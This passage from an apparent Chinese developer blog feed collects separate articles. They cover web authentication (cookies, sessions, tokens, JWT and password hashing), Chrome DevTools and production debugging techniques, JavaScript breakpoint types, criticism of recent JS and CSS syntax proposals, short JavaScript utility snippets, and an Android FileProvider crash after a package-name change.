    • 客户端将 token 保存到本地(通常使用 localstorage,也可以使用 cookie)

    • 当用户希望访问一个受保护的路由或者资源的时候,需要请求头的 Authorization 字段中使用Bearer 模式添加 JWT,其内容看起来是下面这样

Authorization: Bearer <token>
复制代码
  • 服务端的保护路由将会检查请求头 Authorization 中的 JWT 信息,如果合法,则允许用户的行为

  • 因为 JWT 是自包含的(内部包含了一些会话信息),因此减少了需要查询数据库的需要

  • 因为 JWT 并不使用 Cookie 的,所以你可以使用任何域名提供你的 API 服务而不需要担心跨域资源共享问题(CORS)

  • 因为用户的状态不再存储在服务端的内存中,所以这是一种无状态的认证机制

JWT 的使用方式

  • 客户端收到服务器返回的 JWT,可以储存在 Cookie 里面,也可以储存在 localStorage。

方式一

  • 当用户希望访问一个受保护的路由或者资源的时候,可以把它放在 Cookie 里面自动发送,但是这样不能跨域,所以更好的做法是放在 HTTP 请求头信息的 Authorization 字段里,使用 Bearer 模式添加 JWT。

    GET /calendar/v1/events
    Host: api.example.com
    Authorization: Bearer <token>
    复制代码
    • 用户的状态不会存储在服务端的内存中,这是一种 无状态的认证机制

    • 服务端的保护路由将会检查请求头 Authorization 中的 JWT 信息,如果合法,则允许用户的行为。

    • 由于 JWT 是自包含的,因此减少了需要查询数据库的需要

    • JWT 的这些特性使得我们可以完全依赖其无状态的特性提供数据 API 服务,甚至是创建一个下载流服务。

    • 因为 JWT 并不使用 Cookie ,所以你可以使用任何域名提供你的 API 服务而不需要担心跨域资源共享问题(CORS)

方式二

  • 跨域的时候,可以把 JWT 放在 POST 请求的数据体里。

方式三

  • 通过 URL 传输

http://www.example.com/user?token=xxx
复制代码

项目中使用 JWT

项目地址

Token 和 JWT 的区别

相同:

  • 都是访问资源的令牌

  • 都可以记录用户的信息

  • 都是使服务端无状态化

  • 都是只有验证成功后,客户端才能访问服务端上受保护的资源

区别:

  • Token:服务端验证客户端发送过来的 Token 时,还需要查询数据库获取用户信息,然后验证 Token 是否有效。

  • JWT: 将 Token 和 Payload 加密后存储于客户端,服务端只需要使用密钥解密进行校验(校验也是 JWT 自己实现的)即可,不需要查询或者减少查询数据库,因为 JWT 自包含了用户信息和加密的数据。

常见的前后端鉴权方式

  1. Session-Cookie

  2. Token 验证(包括 JWT,SSO)

  3. OAuth2.0(开放授权)

常见的加密算法

image.png

  • 哈希算法(Hash Algorithm)又称散列算法、散列函数、哈希函数,是一种从任何一种数据中创建小的数字“指纹”的方法。哈希算法将数据重新打乱混合,重新创建一个哈希值。

  • 哈希算法主要用来保障数据真实性(即完整性),即发信人将原始消息和哈希值一起发送,收信人通过相同的哈希函数来校验原始数据是否真实。

  • 哈希算法通常有以下几个特点:

    • 正像快速:原始数据可以快速计算出哈希值

    • 逆向困难:通过哈希值基本不可能推导出原始数据

    • 输入敏感:原始数据只要有一点变动,得到的哈希值差别很大

    • 冲突避免:很难找到不同的原始数据得到相同的哈希值,宇宙中原子数大约在 10 的 60 次方到 80 次方之间,所以 2 的 256 次方有足够的空间容纳所有的可能,算法好的情况下冲突碰撞的概率很低:

      • 2 的 128 次方为 340282366920938463463374607431768211456,也就是 10 的 39 次方级别

      • 2 的 160 次方为 1.4615016373309029182036848327163e+48,也就是 10 的 48 次方级别

      • 2 的 256 次方为 1.1579208923731619542357098500869 × 10 的 77 次方,也就是 10 的 77 次方

注意:

  1. 以上不能保证数据被恶意篡改,原始数据和哈希值都可能被恶意篡改,要保证不被篡改,可以使用RSA 公钥私钥方案,再配合哈希值。

  2. 哈希算法主要用来防止计算机传输过程中的错误,早期计算机通过前 7 位数据第 8 位奇偶校验码来保障(12.5% 的浪费效率低),对于一段数据或文件,通过哈希算法生成 128bit 或者 256bit 的哈希值,如果校验有问题就要求重传。

常见问题

使用 cookie 时需要考虑的问题

  • 因为存储在客户端,容易被客户端篡改,使用前需要验证合法性

  • 不要存储敏感数据,比如用户密码,账户余额

  • 使用 httpOnly 在一定程度上提高安全性

  • 尽量减少 cookie 的体积,能存储的数据量不能超过 4kb

  • 设置正确的 domain 和 path,减少数据传输

  • cookie 无法跨域

  • 一个浏览器针对一个网站最多存 20 个Cookie,浏览器一般只允许存放 300 个Cookie

  • 移动端对 cookie 的支持不是很好,而 session 需要基于 cookie 实现,所以移动端常用的是 token

使用 session 时需要考虑的问题

  • 将 session 存储在服务器里面,当用户同时在线量比较多时,这些 session 会占据较多的内存,需要在服务端定期的去清理过期的 session

  • 当网站采用集群部署的时候,会遇到多台 web 服务器之间如何做 session 共享的问题。因为 session 是由单个服务器创建的,但是处理用户请求的服务器不一定是那个创建 session 的服务器,那么该服务器就无法拿到之前已经放入到 session 中的登录凭证之类的信息了。

  • 当多个应用要共享 session 时,除了以上问题,还会遇到跨域问题,因为不同的应用可能部署的主机不一样,需要在各个应用做好 cookie 跨域的处理。

  • sessionId 是存储在 cookie 中的,假如浏览器禁止 cookie 或不支持 cookie 怎么办? 一般会把 sessionId 跟在 url 参数后面即重写 url,所以 session 不一定非得需要靠 cookie 实现

  • 移动端对 cookie 的支持不是很好,而 session 需要基于 cookie 实现,所以移动端常用的是 token

使用 token 时需要考虑的问题

  • 如果你认为用数据库来存储 token 会导致查询时间太长,可以选择放在内存当中。比如 redis 很适合你对 token 查询的需求。

  • token 完全由应用管理,所以它可以避开同源策略

  • token 可以避免 CSRF 攻击(因为不需要 cookie 了)

  • 移动端对 cookie 的支持不是很好,而 session 需要基于 cookie 实现,所以移动端常用的是 token

使用 JWT 时需要考虑的问题

  • 因为 JWT 并不依赖 Cookie 的,所以你可以使用任何域名提供你的 API 服务而不需要担心跨域资源共享问题(CORS)

  • JWT 默认是不加密,但也是可以加密的。生成原始 Token 以后,可以用密钥再加密一次。

  • JWT 不加密的情况下,不能将秘密数据写入 JWT。

  • JWT 不仅可以用于认证,也可以用于交换信息。有效使用 JWT,可以降低服务器查询数据库的次数。

  • JWT 最大的优势是服务器不再需要存储 Session,使得服务器认证鉴权业务可以方便扩展。但这也是 JWT 最大的缺点:由于服务器不需要存储 Session 状态,因此使用过程中无法废弃某个 Token 或者更改 Token 的权限。也就是说一旦 JWT 签发了,到期之前就会始终有效,除非服务器部署额外的逻辑。

  • JWT 本身包含了认证信息,一旦泄露,任何人都可以获得该令牌的所有权限。为了减少盗用,JWT的有效期应该设置得比较短。对于一些比较重要的权限,使用时应该再次对用户进行认证。

  • JWT 适合一次性的命令认证,颁发一个有效期极短的 JWT,即使暴露了危险也很小,由于每次操作都会生成新的 JWT,因此也没必要保存 JWT,真正实现无状态。

  • 为了减少盗用,JWT 不应该使用 HTTP 协议明码传输,要使用 HTTPS 协议传输。

使用加密算法时需要考虑的问题

  • 绝不要以明文存储密码

  • 永远使用 哈希算法 来处理密码,绝不要使用 Base64 或其他编码方式来存储密码,这和以明文存储密码是一样的,使用哈希,而不要使用编码。编码以及加密,都是双向的过程,而密码是保密的,应该只被它的所有者知道, 这个过程必须是单向的。哈希正是用于做这个的,从来没有解哈希这种说法, 但是编码就存在解码,加密就存在解密。

  • 绝不要使用弱哈希或已被破解的哈希算法,像 MD5 或 SHA1 ,只使用强密码哈希算法。

  • 绝不要以明文形式显示或发送密码,即使是对密码的所有者也应该这样。如果你需要 “忘记密码” 的功能,可以随机生成一个新的 一次性的(这点很重要)密码,然后把这个密码发送给用户。

分布式架构下 session 共享方案

1. session 复制

  • 任何一个服务器上的 session 发生改变(增删改),该节点会把这个 session 的所有内容序列化,然后广播给所有其它节点,不管其他服务器需不需要 session ,以此来保证 session 同步

优点: 可容错,各个服务器间 session 能够实时响应。
缺点: 会对网络负荷造成一定压力,如果 session 量大的话可能会造成网络堵塞,拖慢服务器性能。

2. 粘性 session /IP 绑定策略

  • 采用 Ngnix 中的 ip_hash 机制,将某个 ip的所有请求都定向到同一台服务器上,即将用户与服务器绑定。 用户第一次请求时,负载均衡器将用户的请求转发到了 A 服务器上,如果负载均衡器设置了粘性 session 的话,那么用户以后的每次请求都会转发到 A 服务器上,相当于把用户和 A 服务器粘到了一块,这就是粘性 session 机制。

优点: 简单,不需要对 session 做任何处理。
缺点: 缺乏容错性,如果当前访问的服务器发生故障,用户被转移到第二个服务器上时,他的 session 信息都将失效。
适用场景: 发生故障对客户产生的影响较小;服务器发生故障是低概率事件 。
实现方式: 以 Nginx 为例,在 upstream 模块配置 ip_hash 属性即可实现粘性 session。

3. session 共享(常用)

  • 使用分布式缓存方案比如 Memcached 、Redis 来缓存 session,但是要求 Memcached 或 Redis 必须是集群

  • 把 session 放到 Redis 中存储,虽然架构上变得复杂,并且需要多访问一次 Redis ,但是这种方案带来的好处也是很大的:

    • 实现了 session 共享;

    • 可以水平扩展(增加 Redis 服务器);

    • 服务器重启 session 不丢失(不过也要注意 session 在 Redis 中的刷新/失效机制);

    • 不仅可以跨服务器 session 共享,甚至可以跨平台(例如网页端和 APP 端)

img

4. session 持久化

  • 将 session 存储到数据库中,保证 session 的持久化

优点: 服务器出现问题,session 不会丢失
缺点: 如果网站的访问量很大,把 session 存储到数据库中,会对数据库造成很大压力,还需要增加额外的开销维护数据库。

只要关闭浏览器 ,session 真的就消失了?

不对。对 session 来说,除非程序通知服务器删除一个 session,否则服务器会一直保留,程序一般都是在用户做 log off 的时候发个指令去删除 session。
然而浏览器从来不会主动在关闭之前通知服务器它将要关闭,因此服务器根本不会有机会知道浏览器已经关闭,之所以会有这种错觉,是大部分 session 机制都使用会话 cookie 来保存 session id,而关闭浏览器后这个 session id 就消失了,再次连接服务器时也就无法找到原来的 session。如果服务器设置的 cookie 被保存在硬盘上,或者使用某种手段改写浏览器发出的 HTTP 请求头,把原来的 session id 发送给服务器,则再次打开浏览器仍然能够打开原来的 session。
恰恰是由于关闭浏览器不会导致 session 被删除,迫使服务器为 session 设置了一个失效时间,当距离客户端上一次使用 session 的时间超过这个失效时间时,服务器就认为客户端已经停止了活动,才会把 session 删除以节省存储空间。

项目地址

在项目中使用 JWT

后语

  • 本文只是基于自己的理解讲了理论知识,因为对后端/算法知识不是很熟,如有谬误,还请告知,万分感谢

  • 如果本文对你有所帮助,还请点个赞~~

参考

百度百科-cookie

百度百科-session

详解 Cookie,Session,Token

一文彻底搞懂Cookie、Session、Token到底是什么

3种web会话管理的方式!!!

Token ,Cookie和Session的区别!!!

彻底理解 cookie、session、token!!!

前端鉴权

SHA-1

SHA-2

SHA-3

不要再使用MD5和SHA1加密密码了!

廖雪峰 Node 教程之 crypto


作者:秋天不落叶
来源:https://juejin.cn/post/6844904034181070861

收起阅读 »

不常见但是有用的chrome调试技巧

dom添加选中dom节点为全局变量方便需要调试多个dom的场景适用对dom有多次操作的场景force node state (触发)状态调试dom的某个状态copy element拷贝选中dom的信息style/class给选中元素添加一个 class 名快速...
继续阅读 »



dom

添加选中dom节点为全局变量方便需要调试多个dom的场景

适用对dom有多次操作的场景

force node state (触发)状态

调试dom的某个状态

copy element

拷贝选中dom的信息

style/class

给选中元素添加一个 class 名

快速给元素添加class

修改元素的盒模型大小

快速修改元素的盒模型大小(margin/padding/width/height等)

network

block specific request

block特定的请求

快捷键:command + shift + p -> show request blocking

改变请求的 user agent

修改请求的user agent

快捷键:command + shift + p -> network conditions 切换 user agent

javascript

断点,断浏览器的行为(比如 click、mouse 等等)

拦截浏览器的行为


快速改变拦截的变量的值

双击改变拦截变量的值

添加 watch 表达式

添加watch表达式

条件断点

设置断点的条件

快速调试代码片段

Snippet(片段)代码调试,不需要创建特定的页面

参考文档


作者:seventhMa
来源:https://juejin.cn/post/6963600839587921927

收起阅读 »

前端工程师生产环境 debugger 技巧

导言:那我们今天讲一讲如何使用 chrome 在生产环境进行 debug 。生产环境 debug 需要几步?这问题和“把大象装进冰箱拢共分几步”一样简单。第二步,把大象装进冰箱。找到需要 debug 的前端文件,格式化,打断点,调试上下文,定位问题;如何快速定...
继续阅读 »

导言:

开发环境 debug 是每个程序员上岗的必备技能。生产环境呢?虽然生产环境 debug 是一件非常不优雅的行为,但是由于种种原因,我们又不得不这么干。

那我们今天讲一讲如何使用 chrome 在生产环境进行 debug 。

生产环境 debug 步骤

生产环境 debug 需要几步?这问题和“把大象装进冰箱拢共分几步”一样简单。

第一步,把冰箱门打开。F12 打开 devTools;

第二步,把大象装进冰箱。找到需要 debug 的前端文件,格式化,打断点,调试上下文,定位问题;

第三部,关闭冰箱门。解决问题。

如何快速定位错误是前端还是后端接口返回的?

在把大象装进冰箱之前,先初步判断下,是否真的需要由你将大象装进冰箱。

首先我们需要判断,错误是前端还是后端报的,那么如何快速判断?

方案一:根据对代码的实现的了解,判断报错属于前端还是后端。

这个方案前提是需要你对代码实现很熟悉,也是最简单的方式。

方案二:前端代码全局搜索关键字,工程代码里搜索/控制台打开搜索。

对应工程 gitlab 或者 vscode 或者 devTools global search 里去进行全局搜索。

方案三:翻阅 network 面板中的请求。

翻阅 network 面板中的请求,看下返回的 response 是否携带错误提示,有则表示后端返回的;如果报错的接口刚好是以非200 的状态返回,或者是由新的操作触发调用接口,我们很快就能查找到对应的接口,如下:

方案四:使用 network search 进行搜索。

但是很多情况,接口业务错误会以 http status 200 的状态码返回,如果此时请求了大量的接口(举个例子:进入页面调用了大量的接口,其中有一个接口返回了错误信息),那么除了逐个翻阅 network 这种低效的方式,chrome devTools 还提供了 network search 面板这种更便捷的方式,可以搜索接口详细信息(包括详细的返回信息),返回匹配结果。

如何打开 network search 面板?

在 network 面板中,按快捷键 ⌘ + F(Mac)、 CTRL + F(Windows)可呼出 network search 面板。

如果确定需要你把大象装进冰箱,那把大象装进冰箱的技巧有哪些?

如何快速定位到问题相关的代码

global search ,全局搜素关键字,再定位到关键的代码

chrome devTools 的 global search 是一个非常实用的一个功能,当你不知道需要调试的代码在哪个文件时,当你是一个非常大的系统,引用了很多的资源文件,你可以使用 global search 进行搜索关键字,这个操作会搜索所有加载进来的资源,点击搜索结果,就可以使用 source 面板打开对应的资源文件,然后格式化代码,再然后在当前的文件内 再次搜索关键字,打断点。

打开 global search 快捷键:

⌘ + ⌥ + F (Mac),CTRL + SHIFT + F (Windows)

看下图例子,我们随便找个页面根据提示搜索代码:

可以尝试使用哪些关键字进行搜索:

(1) 页面存在明确的报错信息,且已经明确该错误文案是写在前端代码中错误信息文案。提示信息在 coding 过程中一般是使用 字符串,压缩混淆过程中一般是不会进行处理的,会保留原文,当然代码打包构建过程中,对代码压缩混淆也可以选择对中文进行 unicode 转码,此时如果关键字是中文,就需要先转码再搜索了。

(2) 已知相关代码中存在的编译混淆后依然还保留的的关键代码,会向外暴露的方法名;

如何 debug 混淆后的 js ?

生产环境的 js 基本上都是混淆过的(点击了解前端代码的压缩混淆),压缩混淆的优点就不赘述了,压缩混淆后随之来的是生产环境调试的难度,虽然通过打断点,勉强还能看的懂,但是已经很反人类了。

我们用一个最简单的 demo ,对比一下代码生产环境构建编译前后的差距。

这里选择用 vue-cli 创建了一个最简单的 demo ,看下源代码和编译后的代码。

源代码:

构建编译后的代码(此处关闭了 sourceMap ):

这里我们看到构建编译后的代码做了压缩混淆,出现了出现了大量大的 abcd 替换了原有的函数方法名、变量名,编译后的代码已经不是能通过单纯的读代码码能读懂的了。但是我们通过 debug ,大概还是能看得懂。

那么有没有方式使用本地的 sourceMap 调试生产环境的代码?答案当然是有的。

如何在生产环境使用本地 sourceMap 调试?

第一步:打开混淆代码

第二步:右键 -> 选择【Add source map】

第三步:输入本地 sourceMap 的地址(此处需要启用一个静态资源服务,可以使用 http-server),完成。本地代码执行构建命令,注意需要打开 sourceMap 配置,编译产生出构建后的代码,此时构建后的结果会包含 sourceMap 文件。

关联上 sourceMap 后,我们就可以看到 sources -> page 面板上的变化了

如何在 chrome 中修改代码并调试?

开发环境中,我们可以直接在 IDE 中修改代码,代码的变更就直接更新到了浏览器中了。那么生产环境,我们可以直接在 chrome 中修改代码,然后立马看代码修改后的效果吗?

当然,你想要的 chrome devTools 都有。chrome devTools 提供了 local overrides 能力。

local overrides 如何工作的?

指定修改后的文件的本地保存目录,当修改完代码保存的时候,就会将修改后的文件保存到你指定的目录目录下,当再次加载页面的时候,对应的文件不再读取网络上的文件,而是读取存储在本地修改过的文件。

local overrides 如何使用?

首先,打开 sources 下的 overrides 面板;

然后,点击【select folder overrides】选择修改后的文件存储地址;

再然后,点击顶部的授权,确认同意;

最后,我们就可以打开文件修改,修改完成后保存,重新刷新页面后,修改后的代码就被执行到了。

⚠️注意,原js文件直接 format 是无法修改的;在代码 format 之前先添加无效代码进行代码变更进行保存,然后再 format 就可以修改;

总结

chrome 调试技巧远远当然不只这些,以上只是生产环境 debug 的小技巧,祝愿大家用不到,最好的 bug 处理方式当然是事前,在上线前得到就解决;如果真的发生问题,如果做好监控和日志,在问题发生的第一时间发现并解决。

参考文献

作者:七喜
来源:https://zoo.team/article/prod-debugger

收起阅读 »

JS 的 6 种打断点的方式,你用过几种?

Debugger 是前端开发很重要的一个工具,它可以在我们关心的代码处断住,通过单步运行来理清逻辑。而 Debugger 用的好坏与断点打得好坏有直接的关系。Chrome Devtools 和 VSCode 都提供了 Debugger,它们支持的打断点的方式有...
继续阅读 »

Debugger 是前端开发很重要的一个工具,它可以在我们关心的代码处断住,通过单步运行来理清逻辑。而 Debugger 用的好坏与断点打得好坏有直接的关系。

Chrome Devtools 和 VSCode 都提供了 Debugger,它们支持的打断点的方式有 6 种。

普通断点

在想断住的那一行左侧单击一下就可以添加一个断点,运行到该处就会断住。

这是最基础的断点方式,VSCode 和 Chrome Devtools 都支持这种断点。

条件断点

右键单击代码所在的行左侧,会出现一个下拉框,可以添加一个条件断点。

输入条件表达式,当运行到这一行代码并且表达式的值为真时就会断住,这比普通断点灵活些。

这种根据条件来断住的断点 VSCode 和 Chrome Devtools 也都支持。

DOM 断点

在 Chrome Devtools 的 Elements 面板的对应元素上右键,选择 break on,可以添加一个 dom 断点,也就是当子树有变动、属性有变动、节点移除这三种情况的时候会断住。可以用来调试导致 dom 变化的代码。

因为是涉及到 DOM 的调试,只有 Chrome Devtools 支持这种断点。

URL 断点

在 Chrome Devtools 的 Sources 面板可以添加 XHR 的 url 断点,当 ajax 请求对应 url 时就会断住,可以用来调试请求相关的代码。

这个功能只有 Chrome Devtools 有。

Event Listener 断点

在 Chrome Devtools 的 Sources 面板还可以添加 Event Listener 的断点,指定当发生什么事件时断住,可以用来调试事件相关代码。

这个功能也是只有 Chrome Devtools 有。

异常断点

在 VSCode 的 Debugger 面板勾选 Uncaught Exceptions 和 Caught Exceptions 可以添加异常断点,在抛出异常未被捕获或者被捕获时断柱。用来调试一些发生异常的代码时很有用。

总结

Debugger 打断点的方式除了直接在对应代码行单击的普通断点以外,还有很多根据不同的情况来添加断点的方式。

一共有六种:

  • 普通断点:运行到该处就断住
  • 条件断点:运行到该处且表达式为真就断住,比普通断点更灵活
  • DOM 断点:DOM 的子树变动、属性变动、节点删除时断住,可以用来调试引起 DOM 变化的代码
  • URL 断点:URL 匹配某个模式的时候断住,可以用来调试请求相关代码
  • Event Listener 断点:触发某个事件监听器的时候断住,可以用来调试事件相关代码
  • 异常断点:抛出异常被捕获或者未被捕获的时候断住,可以用来调试发生异常的代码

这些打断点方式大部分都是 Chrome Devtools 支持的(普通、条件、DOM、URL、Event Listener、异常),也有的是 VSCode Debugger 支持的(普通、条件、异常)。

不同情况下的代码可以用不同的打断点方式,这样调试代码会高效很多。

JS 的六种打断点方式,你用过几种呢?

原文:https://juejin.cn/post/7041946855592165389

收起阅读 »

这些都能成为 Web 语法规范,强迫症看不下去了

JavaScript 一直是饱受诟病,源于网景公司在 1995 年用了 10 天的时间创造。没有什么能用 10 天创造就是完美的,可是某些特性一旦发布,错误或不完善的地方迅速成为必不可少的特色,并且是几乎不可能改变。 Javascript 的发展非常快,根本没...
继续阅读 »

JavaScript 一直是饱受诟病,源于网景公司在 1995 年用了 10 天的时间创造。没有什么能用 10 天创造就是完美的,可是某些特性一旦发布,错误或不完善的地方迅速成为必不可少的特色,并且是几乎不可能改变。


Javascript 的发展非常快,根本没有时间调整设计。在推出一年半之后,国际标准就问世了。设计缺陷还没有充分暴露就成了标准。


历史遗留


比如常见的历史设计缺陷:



  • nullundefined 两者非常容易混淆

  • == 类型转换的问题

  • var 声明创建全局变量

  • 自动插入行尾分号

  • 加号可以表示数字之和,也可以表示字符的连接

  • NaN 奇怪的特性

  • 更多...


Javascript 很多不严谨的特性我们可以添加 eslint 来规避。比如禁用 var== 成了大多数人写代码的必备条件。


现在/未来


如今 CSS、DOM、HTML 规范由 W3C 来制定,JavaScript 规范由 TC39 制定。那些历史缺陷也成为了过去,但是现在也出现了一些不尽人意的规范。


CSS 变量


声明变量的时候,变量名前面要加两根连词线 --


body {
--foo: #7f583f;
--bar: #f7efd2;
}

var() 函数用于读取变量。


a {
color: var(--foo);
text-decoration-color: var(--bar, #7f583f);
}

为什么选择两根连词线(--)表示变量?因为 $Sass 用掉,@Less 用掉。_-,用作为 IEchrome 兼容写法。CSS 中已经找不出来字符可以代替变量声明了。为了不产生冲突,官方的 CSS 变量就改用两根连词线。


作为一个官方的标准规范,时刻影响后面的行业发展。竟然能被第三方的插件所左右,令人大跌眼镜。有开发者吐槽:微软的架构师也是够窝囊。


现在很多应用都放弃了 Sassless,转向了 PostCSS 的怀抱。面向组件编程,根本用不到 Sassless 里面的一些复杂功能。那么 -- 两个字符的繁琐将成为开发者永远的痛。


类私有属性(proposal-class-fields)


JavaScript 中的 class 大家已经不陌生了,简直跟 Javaclass 一模一样。


基本用法:


class BaseClass {
msg = 'hello world';

basePublicMethod() {
return this.msg;
}
}

继承:


class SubClass extends BaseClass {
subPublicMethod() {
return super.basePublicMethod();
}
}

静态属性:


class ClassWithStaticField {
static baseStaticMethod() {
return 'base static method output';
}
}

异步方法


class ClassWithFancyMethods {
*generatorMethod() {}
async asyncMethod() {}
async *asyncGeneratorMethod() {}
}

而类私有属性的提案目前已经进入标准,它用了 # 关键字前缀来修饰一个类的属性。


class ClassWithPrivateField {
#privateField;

constructor() {
this.#privateField = 42;
}
}

你没看错,不是 typescript 中的 private 关键字。


class BaseClass {
readonly msg = 'hello world';

private basePrivateMethod() {
return this.msg;
}
}

然而 # 的语法丑陋本身引起了社区的争议:



「class fields 提案提供了一个极具争议的私有字段访问语法——并成功地做对了唯一一件事情,让社区把全部的争议焦点放在了这个语法上」。




TS 投降主义已经被迫实现了。




No dynamic access, no destructuring is a deal breaker for me




我们制作一个 eslint 插件 no-private-class-fields 并使用下载计数来说明社区反对




'#' 作为名称的一部分会导致混淆,因为 this.#x !== this['#x'] 太奇怪了



前端架构师、TC39 成员贺师俊也在知乎连发好几篇文章吐槽 class fields


不妨大家看看关于 private 的 side: johnhax.net/2017/js-pri…


提案地址:github.com/tc39/propos…


globalThis


在不同的 JavaScript 环境中拿到全局对象是需要不同的语句的。在 Web 中,可以通过 windowself 取到全局对象,但是在 Web Workers 中只有 self 可以。在 Node.js 中,必须使用 global。非严格模式下,可以在函数中返回 this 来获取全局对象,否则会返回 undefined


因此一个叫 global 的提案出现。主要用 global 变量统一上面的行为,但后面绕来绕去改成了 globalThis,引起了激烈讨论。


globalThis 这个名字会让 this 变得更加复杂。



  1. this 一直是困扰程序员的话题,尤其是 JavaScript 新手,关于它的博客文章源源不断

  2. ES6 让事情变得更简单,因为可以告诉人们更喜欢箭头函数并且只使用 this 内部方法定义

  3. 在现代 JS(modules) 中,并没有真正的全局 this,所以 globalThis 甚至不引用现有的概念


现在说这一切都是徒劳的,因为它已经进入 stage 4


提案地址:github.com/tc39/propos…


总结


JavaScript 中遗留的糟粕太多。现在受到这些糟粕的影响,很多新的提案又不得不妥协。在未来,它会变得极其复杂。


也许某一天,会出现一个没有历史包袱的 JavaScript 子集来替换它。



作者:MinJie
链接:https://juejin.cn/post/7043340139049222152

收起阅读 »

13 行 JavaScript 代码让你看起来像是高手

Javascript 可以做许多神奇的事情,也有很多东西需要学习,今天我们介绍几个短小精悍的代码段。 获取随机布尔值(True/False) 使用 Math.random() 会返回 0 到 1 的随机数,之后判断它是否大于 0.5,将会得到一个 50% 概率...
继续阅读 »

Javascript 可以做许多神奇的事情,也有很多东西需要学习,今天我们介绍几个短小精悍的代码段。


获取随机布尔值(True/False)


使用 Math.random() 会返回 0 到 1 的随机数,之后判断它是否大于 0.5,将会得到一个 50% 概率为 TrueFalse 的值


const randomBoolean = () => Math.random() >= 0.5;
console.log(randomBoolean());

判断一个日期是否是工作日


判断给定的日期是否是工作日


const isWeekday = (date) => date.getDay() % 6 !== 0;
console.log(isWeekday(new Date(2021, 0, 11)));
// Result: true (周一)
console.log(isWeekday(new Date(2021, 0, 10)));
// Result: false (周日)

反转字符串


有许多反转字符串的方法,这里使用一种最简单的,使用了 split()reverse()join()


const reverse = str => str.split('').reverse().join('');
reverse('hello world');
// Result: 'dlrow olleh'

判断当前标签页是否为可视状态


浏览器可以打开很多标签页,下面 👇🏻 的代码段就是判断当前标签页是否是激活的标签页


const isBrowserTabInView = () => document.hidden;
isBrowserTabInView();

判断数字为奇数或者偶数


取模运算符 % 可以很好地完成这个任务


const isEven = num => num % 2 === 0;
console.log(isEven(2));
// Result: true
console.log(isEven(3));
// Result: false

从 Date 对象中获取时间


使用 Date 对象的 .toTimeString() 方法转换为时间字符串,之后截取字符串即可


const timeFromDate = date => date.toTimeString().slice(0, 8);
console.log(timeFromDate(new Date(2021, 0, 10, 17, 30, 0)));
// Result: "17:30:00"
console.log(timeFromDate(new Date()));
// Result: 返回当前时间

保留指定的小数位


const toFixed = (n, fixed) => ~~(Math.pow(10, fixed) * n) / Math.pow(10, fixed);
// Examples
toFixed(25.198726354, 1); // 25.1
toFixed(25.198726354, 2); // 25.19
toFixed(25.198726354, 3); // 25.198
toFixed(25.198726354, 4); // 25.1987
toFixed(25.198726354, 5); // 25.19872
toFixed(25.198726354, 6); // 25.198726

检查指定元素是否处于聚焦状态


可以使用 document.activeElement 来判断元素是否处于聚焦状态


const elementIsInFocus = (el) => (el === document.activeElement);
elementIsInFocus(anyElement)
// Result: 如果处于焦点状态会返回 True 否则返回 False

检查当前用户是否支持触摸事件


const touchSupported = () => {
('ontouchstart' in window || window.DocumentTouch && document instanceof window.DocumentTouch);
}
console.log(touchSupported());
// Result: 如果支持触摸事件会返回 True 否则返回 False

检查当前用户是否是苹果设备


可以使用 navigator.platform 判断当前用户是否是苹果设备


const isAppleDevice = /Mac|iPod|iPhone|iPad/.test(navigator.platform);
console.log(isAppleDevice);
// Result: 是苹果设备会返回 True

滚动至页面顶部


window.scrollTo() 会滚动至指定的坐标,如果设置坐标为(0,0),就会回到页面顶部


const goToTop = () => window.scrollTo(0, 0);
goToTop();
// Result: 将会滚动至顶部

获取所有参数的平均值


可以使用 reduce() 函数来计算所有参数的平均值


const average = (...args) => args.reduce((a, b) => a + b) / args.length;
average(1, 2, 3, 4);
// Result: 2.5

转换华氏/摄氏


再也不怕处理温度单位了,下面两个函数是两个温度单位的相互转换。


const celsiusToFahrenheit = (celsius) => celsius * 9/5 + 32;
const fahrenheitToCelsius = (fahrenheit) => (fahrenheit - 32) * 5/9;
// Examples
celsiusToFahrenheit(15); // 59
celsiusToFahrenheit(0); // 32
celsiusToFahrenheit(-20); // -4
fahrenheitToCelsius(59); // 15
fahrenheitToCelsius(32); // 0

感谢阅读,希望你会有所收获😄


作者:夜色镇歌
链接:https://juejin.cn/post/7043062481954013197

收起阅读 »

由于包名引发的惨案(安装 apk 闪退,拍照闪退,manifest》Provider》authorities导致的)

我们项目原本是这样的,在项目开始之初定的报名是 com.b.c ,然后为了让用户能成功从 1.0 升级到 2.0 ,在项目要开发完成以后改了包名 com.a.b,由于直接改整个项目目录结果并不简单,于是我们直接改了 app/build.gradle 下的 ap...
继续阅读 »

我们项目原本是这样的,在项目开始之初定的报名是 com.b.c ,然后为了让用户能成功从 1.0 升级到 2.0 ,在项目要开发完成以后改了包名 com.a.b,由于直接改整个项目目录结果并不简单,于是我们直接改了 app/build.gradle 下的 applicationId ,改成了最新的 com.a.b 。之前在编写程序内升级的时候,在 AndroidManifest.xml 中编写的 <provider> 是下面这样的:


<provider
    android:name="androidx.core.content.FileProvider"
    android:authorities="com.b.c.fileprovider"
    android:exported="false"
android:grantUriPermissions="true">
    <meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
        android:resource="@xml/file_paths" />
</provider>

在使用的过程中是这样的(部分代码):


Uri uri = FileProvider.getUriForFile(context, context.getPackageName() + ".fileprovider", apk);

我们项目中包含有 react-native 代码,同时装了不少插件,其中一个插件 react-native-webviewAndroidManifest.xml 中也定义了 <provider> ,是这样的:


<provider
android:name=".RNCWebViewFileProvider"
    android:authorities="${applicationId}.fileprovider"
    android:exported="false"
    android:grantUriPermissions="true">
    <meta-data
android:name="android.support.FILE_PROVIDER_PATHS"
        android:resource="@xml/file_provider_paths" />
</provider>

之前我们的升级一直都很完美,每一次都很成功;有一天我们领导决定抛弃 react-native ,全部改用 h5 ,于是我就负责把 react-native 相关的代码从项目中删除,删除的过程非常愉快与自然,删除成功以后我验证了删除部分的相关功能,发现一切正常。


很快项目迎来了更新,一切都那么理所当然,用户正常升级,删除的 react-native 并没有给项目带来问题,随着时间的推进,很快第二批功能开发完毕,即将迎来再一次的更新,我认为这次更新内容少,还加上测试也测试通过,应该没啥问题,但是坏消息在第二天早上发生了,大面积的升级失败,闪退率直线上升,于是我们根据现象尝试复现,发现这是必现的 bug


在这个时候我很高兴,但也很悲伤,高兴的是 bug 是百分之百复现,悲伤的是,由于我的原因让用户体验急剧下滑,我知道,目前要做的是用最快的速度修复 bug ,让更少的人“受伤”。


通过我的排查,发现是包名导致的,因为报错信息直指报错的那一行,信息提示:


Caused by: java.lang.IllegalArgumentException: Couldn't find meta-data for provider with authority com.a.b.fileprovider

